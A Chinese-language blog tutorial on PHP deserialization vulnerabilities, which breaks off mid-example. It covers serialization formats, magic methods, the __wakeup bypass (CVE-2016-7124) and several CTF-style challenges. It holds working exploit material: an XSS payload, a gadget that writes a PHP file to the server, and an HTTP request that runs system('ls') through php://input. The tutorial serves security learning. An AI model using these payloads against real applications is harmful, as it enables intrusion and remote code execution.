Php反序列化深度学习
@ fragrant10 | 2021-05-14T21:36:49+08:00 | 7 minutes read | Update at 2021-05-14T21:36:49+08:00

php反序列化深度学习

序列化与反序列化

序列化

serialize — 产生一个可存储的值的表示

serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。

这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。

想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()。serialize() 可处理除了 resource 之外的任何类型。甚至可以 serialize() 那些包含了指向其自身引用的数组。你正 serialize() 的数组/对象中的引用也将被存储。

当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。

我们先看几个例子:

普通字符串变量序列化

<?php
$test = '123456';
$result = serialize($test);
echo $result;
?>

数组变量序列化

<?php
$arr = [
    "foo" => "bar",
    "bar" => "foo",
];
$result = serialize($arr);
print_r($result);

对象变量序列化

<?php

class test{
    public $name = "zhangsan";
    public $age = 10;
}
$obj = new test();
$result = serialize($obj);
print_r($result);

可见几乎所有正确的变量都可以被序列化成字符串然后保存下来

序列化一个对象后将会保存对象的所有变量,并且发现序列化后的结果都有一个字符,这些字符都是以下字母的缩写。

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

不同权限的属性序列化情况(public、protected、private)

<?php

class test{
    public $name = "zhangsan";
    protected $age = 10;
    private $sex = "man";
}
$obj = new test();
$result = serialize($obj);
print_r($result);

这里介绍一下public、private、protected的区别(区别常见于字符串逃逸类型题目)

public(公共的):在本类内部、外部类、子类都可以访问

protect(受保护的):只有本类或子类或父类中可以访问

private(私人的):只有本类内部可以使用

protect分析:

本来是age结果上面出现的是age,而且age的长度是4,但是上面显示的是6,查找资料后发现protect属性序列化的时候格式是%00*%00成员名

private分析:

这样就发现本来是sex结果上面出现的是testsex,而且testsex长度为7,但是上面显示的是9,同样查找资料后发现private属性序列化的时候格式是%00类名%00成员名,%00占一个字节长度,所以age加了类名后变成了testage长度为9

反序列化

unserialize — 从已存储的表示中创建 PHP 的值

unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。 序列化后的字符串。

若被解序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)。

我们再看几个例子:

<?php
$b = 's:6:"123456";';
$b1 = unserialize($b);
print_r($b1);
?>

<?php
$b = 'a:2:{s:3:"foo";s:3:"bar";s:3:"bar";s:3:"foo";}';
$b1 = unserialize($b);
print_r($b1);
?>

<?php
$b = 'O:4:"test":2:{s:4:"name";s:8:"zhangsan";s:3:"age";i:10;}';
$b1 = unserialize($b);
print_r($b1);
?>

<?php

class test{
    public $name = "zhangsan";
    public $age = 10;
}

$b = 'O:4:"test":2:{s:4:"name";s:8:"zhangsan";s:3:"age";i:10;}';
$b1 = unserialize($b);
print_r($b1);
?>

反序列化漏洞产生原理

因为存在大量的魔术方法、参数的传递、不安全函数的使用导致漏洞的产生

常见魔术方法

__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用

__sleep() 在对象在被序列化之前运行

__wakeup() 将在序列化之后立即被调用

看看这几个魔术方法的执行顺序

<?php
    class test{
        public $a='hacked by fra';
        public $b='hacked by fra2';
        public function pt(){
            echo $this->a."\n";
        }
        public function __construct(){
            echo "__construct\n";
        }
        public function __destruct(){
            echo "__destruct\n";
        }
        public function __sleep(){
            echo "__sleep\n";
            return array('a','b');
        }
        public function __wakeup(){
            echo "__wakeup\n";
        }
    }
    //创建对象调用__construct
    $object = new test();
    //序列化对象调用__sleep
    $serialize = serialize($object);
    //输出序列化后的字符串
    echo 'serialize: '.$serialize."\n";
    //反序列化对象调用__wakeup
    $unserialize=unserialize($serialize);
    //调用pt输出数据
    $unserialize->pt();
    //脚本结束调用__destruct
?>

看一段存在反序列化漏洞的代码

<?php

class flag{
    public $flag = "demon";
    function __destruct() {
        echo $this->flag;
    }
}

$a = $_GET['v'];
$b = unserialize($a);

利用方法是本地新建一个一样的类,但是更改flag变量的值为<img/src/onerror=alert(1)>,这样再通过序列化的方式输出序列化后的字符串,再将序列化字符串传入v参数,这样即可更改原本的flag值同时输出到页面。

<?php

class flag{
    public $flag = "<img/src/onerror=alert(1)>";
    function __destruct() {
        echo $this->flag;
    }
}
$c = new flag();
$d = serialize($c);
print_r($d);

这就是php反序列化的入门基础部分,接下来看看简单的序列化题目。

简单序列化ctf题目案例

<?php
error_reporting(0);
include('../flag.php');
$KEY = "TTEESSTT!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo $flag;
}

show_source(__FILE__);

大概意思就是变量str反序列化之后的值等于TTEESSTT!!,所以直接将该变量序列化输出就好

<?php

$KEY = "TTEESSTT!!";
print_r(serialize($KEY));

传入该字符串即可

某靶场的一道反序列化相关的题目

index.php

<?php

$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt) && (file_get_contents($txt, 'r') === "welcome to the ctf")){
    echo 'hello friends!' . "\n";
    if(preg_match("/flag/", $file)){
        exit("不能现在就给你flag哦\n");
    }else{
        include($file);
        $password = unserialize($password);
        echo $password;
    }
} else {
    echo "you are not the member of us!\n<br>";
    show_source(__FILE__);
}



?>

<!-- hint.php -->

分析代码可见需要$txt变量赋值并且值需要等于welcome to the ctf,因为函数file_get_contents支持php://input协议,所以可以被绕过。

然后是$file变量不能够包含flag字符串。

最后是可包含一个文件,一个反序列化操作,这里的echo熟悉的朋友能看出来这是toString魔法函数的可能性很大。

hint.php

<?php
class Flag{//flag.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "\n success!";
            return "good";
        }
    }
}
show_source(__FILE__);

因为包含了hint.php,所以可以创建以下测试文件输出序列化字符串,再进行反序列化的时候,$file变量会变成flag.php,这样就能直接输出flag的值了。

<?php
class Flag{//flag.php
    public $file = "flag.php";
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "\n";
            return "good";
        }
    }
}

$a = new Flag();
echo serialize($a);

再看一题

<?php

class foo{
    public $file = "2.txt";
    public $data = "test";
    function __destruct(){
        file_put_contents(dirname(__FILE__) . '/' . $this->file, $this->data);
    }
}

$file_name = $_GET['filename'];
print "You have readfile " . $file_name;
unserialize(file_get_contents($file_name));

分析代码,$file_name参数可控,存在反序列化情况,只要新建一个对象那么就会在文件里面写指定内容,但是内容和文件名都是可控的。

<?php

class foo{
    public $file = "get.php";
    public $data = "<?php show_source('flag.php');?>";
    function __destruct(){
        file_put_contents(dirname(__FILE__) . '/' . $this->file, $this->data);
    }
}

$a = new foo();
echo serialize($a);

不得不说的魔法函数

CVE-2016-7124 __wakeup绕过

__wakeup魔法函数简介

unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup() 方法,预先准备对象需要的资源
反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行 (php5 < 5.6.25, php7 < 7.0.10)

考反序列化的时候经常会遇见

__wakeup魔法函数绕过例题

index.php

<?php
error_reporting(0);
class A{
    public $target = "test";
    function __wakeup(){
        $this->target = "wakeup!";
    }
    function __destruct(){
        print_r($this->target);
    }
}

$a = $_GET["test"];
$b = unserialize($a);

if(empty($a)){
  show_source(__FILE__);
}

因为在反序列化的时候会优先执行__wakeup再执行__destruct,所以导致target属性会一直被覆盖掉,如下:

<?php
error_reporting(0);
class A{
    public $target = "what I want?";
    function __wakeup(){
        $this->target = "wakeup!";
    }
    function __destruct(){
        print_r($this->target);
    }
}

$a = new A();
$b = serialize($a);
print($b);

但是只需要将O:1:"A":1:{s:6:"target";s:12:"what I want?";}更改成O:1:"A":3:{s:6:"target";s:12:"what I want?";}即可实现__wakeup函数的绕过

复杂的序列化ctf题目案例

index.php

<?php
      error_reporting(0);

      if (strpos($_GET['un'], 'php://filter')) {
        die("<font color=" . "#9932CC>" . '不允许使用php://filter' . "</font>");
      }

      class Connection
      {
          public $file;

          public function __construct($file)
          {
              $this->file = $file;
          }

          public function __sleep()
          {
              $this->file = 'sleep.txt';
              return array('file');
          }

          public function __wakeup()
          {
              $this->file = 'wakeup.txt';
          }

          public function __destruct()
          {
              include($this->file);
          }
      }

      if (empty($_GET['un'])) {
          ?>
      <pre> class Connection
      {
          public $file;

          public function __construct($file)
          {
              $this->file = $file;
          }

          public function __sleep()
          {
              $this->file = 'sleep.txt';
              return array('file');
          }

          public function __wakeup()
          {
              $this->file = 'wakeup.txt';
          }

          public function __destruct()
          {
              include($this->file);
          }
      }
      $obj2 = unserialize($_GET['un']);
      </pre>

          <?php
      }

      $obj2 = unserialize($_GET['un']);




      ?>

      <!-- flag is in flag.php -->

这个题目要结合文件包含漏洞触发命令执行

因为存在多个魔法函数,这里就要知道各个魔法函数的执行顺序。在序列化的时候可以直接删除__sleep()以减少影响,其次是利用属性个数大于真实属性个数绕过__wakeup函数,同时因为限制了php://filer因此需要利用php://input来执行代码

<?php
//error_reporting(0);
class Connection
{
    public $file;

    public function __construct($file)
    {
        $this->file = $file;
    }

    public function __wakeup()
    {
        $this->file = 'wakeup.txt';
    }

    public function __destruct()
    {
        include($this->file);
    }
}
//      $obj2 = unserialize($_GET['un']);

$a = new Connection("php://input");
$b = serialize($a);
print_r($b);
POST /?un=O:10:"Connection":2:{s:4:"file";s:11:"php://input";} HTTP/1.1
Host: 192.168.122.30:8011
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 21

<?php system("ls");?>

注入对象构造方法

当目标对象被private、protected修饰时的反序列化漏洞

前文说了privateprotected返回长度和public不一样的原因,这里再记录一下

private属性序列化的时候格式是%00类名%00属性名 protect属性序列化的时候格式是%00*%00属性名

protected情况下

index.php

<?php

class A{
    protected $test = "abab";
    function __destruct() {
        echo $this->test;
    }
}

$a = $_GET["test"];
$b = unserialize($a);

利用方式: 先用正常方式输出序列化字符串

<?php

class A{
    protected $test = "what i what";
    function __destruct() {
        echo $this->test;
    }
}

$a = new A();
$b = serialize($a);
print_r($b);

得到`O:1:“A”:1:{s:7:"

© 2019 - 2021 fragrant10 的博客

Powered by Hugo with theme Dream.

avatar

fragrant10 的博客
与其感慨路难行,不如马上出发。

About Me

Hi, my nane is Fan Gao.

This is my blog.